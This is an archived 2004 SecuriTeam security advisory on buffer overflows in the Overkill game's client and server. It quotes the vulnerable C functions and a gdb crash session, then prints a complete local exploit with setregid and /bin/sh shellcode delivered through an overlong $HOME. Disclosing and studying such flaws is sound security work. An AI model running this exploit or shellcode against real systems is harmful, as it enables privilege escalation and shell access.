

# [NEWS] Overkill Buffer Overflow Vulnerabilities

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-02/0001.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 02/02/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 2 Feb 2004 15:35:23 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Overkill Buffer Overflow Vulnerabilities

---

## SUMMARY

<<http://artax.karlin.mff.cuni.cz/~brain/Overkill/>> Overkill is "a bloody 2D action deathmatch-like game in ASCII-ART running under Linux, OS/2 and Windows."

Several buffer overflow conditions exist both in the Overkill server and client, which would allow execution of arbitrary code.

## DETAILS

Vulnerable Systems:

\* Overkill version 0.15pre3 and prior

Immune Systems:

\* Overkill version 0.16

Client Vulnerabilities

Buffer overflows exist in two functions in the client code, possibly three. In the `load_cfg()` and `save_cfg()` functions:

```
void load_cfg(char *host,char *name,int *color)
{
```

## Securiteam: [NEWS] Overkill Buffer Overflow Vulnerabilities

```
..
..
    unsigned char txt[256];

#ifdef WIN32
    sprintf(txt,"%s/%s",getenv("HOME"),CFG_FILE); //
first overflow
#else
    sprintf(txt,"./%s",CFG_FILE);
#endif
..
..
    a=strlen(txt);
..
..
    memcpy(host,txt,strlen(txt)+1); //
second overflow
..
..
    a=strlen(txt);
..
..
    memcpy(name,txt,strlen(txt)+1); //
third overflow
..
..
}
```

Compiling Overkill on a platform other than Windows and setting a long \$HOME environment variable demonstrates the buffer overflow, like so:

```
$ export HOME=`perl -e 'print "A"x300`
$ gdb ./Overkill
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License,
and you are
welcome to change it and/or distribute copies of it under
certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty"
for details.
This GDB was configured as "i386-slackware-linux"...
(gdb) r
Starting program: /root/root/all/gry/Overkill/./Overkill

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ()
(gdb) i r eip
eip 0x41414141 0x41414141
(gdb)
```

## Securiteam: [NEWS] Overkill Buffer Overflow Vulnerabilities

```
void save_cfg(char *host,char *name,int color)
{
..
..
    unsigned char txt[256];

#ifdef WIN32
    sprintf(txt,"%s/%s",getenv("HOME"),CFG_FILE); //
overflow
#else
    sprintf(txt,"./%s",CFG_FILE);
#endif
..
..
}
```

Technically the same type of bug is present in both functions. Improper bounds checking when reading the \$HOME environment variable. The third possible vulnerability is in the send\_message() function which is called from play():

```
void play(void)
{
..
..
    char string[80];
..
..
    if (chat)
    {
        ...
        ...
        case 1:
        char 0;
        send_message(string);
..
..
    }
..
..
}
```

While MAX\_MESSAGE\_LENGTH is defined in the cfg.h file to be:  
#define MAX\_MESSAGE\_LENGTH 70 /\* maximal length of chat message

Since a string passed to the send\_message() function could be larger than the maximum message size there might be a way to exploit this vulnerability or to otherwise crash the program.

### Server Vulnerabilities

A server, when compiled under Windows, contains a vulnerability when

## Securiteam: [NEWS] Overkill Buffer Overflow Vulnerabilities

copying the username into a buffer, presented in the following code from the parse\_command\_line() function:

```
void parse_command_line(int argc,char **argv)
{
    int a;
    ..
#ifdef WIN32
    a=getopt(argc,argv,"hl:np:ri:Ic");
    ..
    ..
#endif
    switch(a)
    {
    ..
    ..
#ifdef WIN32
    ..
    ..
        case 'i': { /* install service */
            char username[80],
                *pass=NULL;
            ..
            ..
            if ( (pass=strchr
(optarg, '/')!=NULL ) {
                strcpy(username,
optarg);
                memcpy(username,
optarg, sizeof(username)-1);
            ..
            ..
            }
    }
```

By using the strcpy() function in such an unsafe manner it is possible to create a buffer overflow condition. With GetLastErrorText() it might be possible to create a buffer overflow condition but the author was unable to exploit it.

```
LPTSTR GetLastErrorText(LPTSTR lpszBuf, DWORD dwSize) {
    ..
    LPTSTR lpszTemp=NULL;
    ..
    ..
    dwRet=FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_ARGUMENT_ARRAY, NULL,
globErr, LANG_NEUTRAL, (LPTSTR)&lpszTemp, 0,
NULL);
    ..
    ..
    sprintf(lpszBuf, ": %u: %s", globErr,
```

## Securiteam: [NEWS] Overkill Buffer Overflow Vulnerabilities

```
lpszTemp); // there :P
..
..
}
```

A simple exploit code is presented below:

```
/*
 * Simple local exploit for Overkill by pi3 (pi3ki31ny)
 * Greetz: [greetz on my web] && other my friends (you know who
 you are)
 *
 * ..... -=[ www.pi3.int.pl ]=- :.....
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>

#define PATH "./Overkill"
#define BUFS 300

/* ..... -=[ www.pi3.int.pl ]=- :..... */

char shellcode[] = "\x31\xdb\x31\xc0\x31\xd2\xb2\x2d\x6a\x0a\x68
\x3a"
    "\x2e\x2e\x2e\x68\x2d\x20\x3a\x3a\x68\x6c\x20
\x5d"
    "\x3d\x68\x6e\x74\x2e\x70\x68\x69\x33\x2e\x69
\x68"
    "\x77\x77\x2e\x70\x68\x3d\x5b\x20\x77\x68
\x3a\x3a"
    "\x20\x2d\x68\x2e\x2e\x2e\x3a\x89\xe1\xb0\x04
\xcd"
    "\x80"

/* setregid (20,20) */

    "\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0
\x47"
    "\xcd\x80"

/* exec /bin/sh */

    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62
\x69"
    "\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0
\x0b\xcd"
    "\x80"
```

## Securiteam: [NEWS] Overkill Buffer Overflow Vulnerabilities

```
/* exit(0) */

"\x31\xdb\x89\xd8\xb0\x01\xcd\x80";

long ret_ad(char *a1, char *a2) {

return (0xbfffffff-strlen(a1)-strlen(a2));
}

int usage(char *arg) {

printf("\n\t...:: --[ Simple exploit for Overkill (by pi3) ]
-- ::...\n");
printf("\n\tUsage:\n\t[+] %s [options]\n
- < this help screen>
-o < offset>
-p PATH\n\n",arg);
exit(-1);
}

int main(int argc, char *argv[]) {

long ret,*buf_addr;
char *buf,*path=PATH;
int i,opt,offset=0;
FILE *fp;

while((opt = getopt(argc,argv,"p:o:")) != -1) {
switch(opt) {

case 'o':

offset=atoi(optarg);
break;

case 'p':

path=optarg;
break;

case ":
default:

usage(argv[0]);
break;
}
}

if ( (fp=fopen(path,"r"))==NULL) {
printf("\n*\tI can\t open path to victim! - %
s\t*\n\n",path);
```

## Securiteam: [NEWS] Overkill Buffer Overflow Vulnerabilities

```
    ussage(argv[0]);
} fclose(fp);

if (!(buf=(char*)malloc(BUFS))) {
    printf("\nI can't locate memory! - buf\n");
    exit(-1);
}

printf("\n\t.....: -=[ Simple exploit for Overkill (by pi3) ]
=- :.....\n");
printf("\n\t[+] Bulding buffors!\n");

ret=ret_ad(shellcode,path);
ret+=offset;

printf("\t[+] Using adres 0x%x\n",ret);

buf_addr=(long*)buf;

for(i=0;i< BUFS;i+=4) {
    *(buf_addr) = ret; buf_addr++;
}
memcpy(buf, shellcode, strlen(shellcode));

printf("\nExecuting the vuln program - %s\n",path);

setenv("HOME", buf, 1);
execl(path,path, 0);
return 0;
}
```

### ADDITIONAL INFORMATION

The information has been provided by <mailto:pi3ki31ny@wp.pl> Adam Zabrocki

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.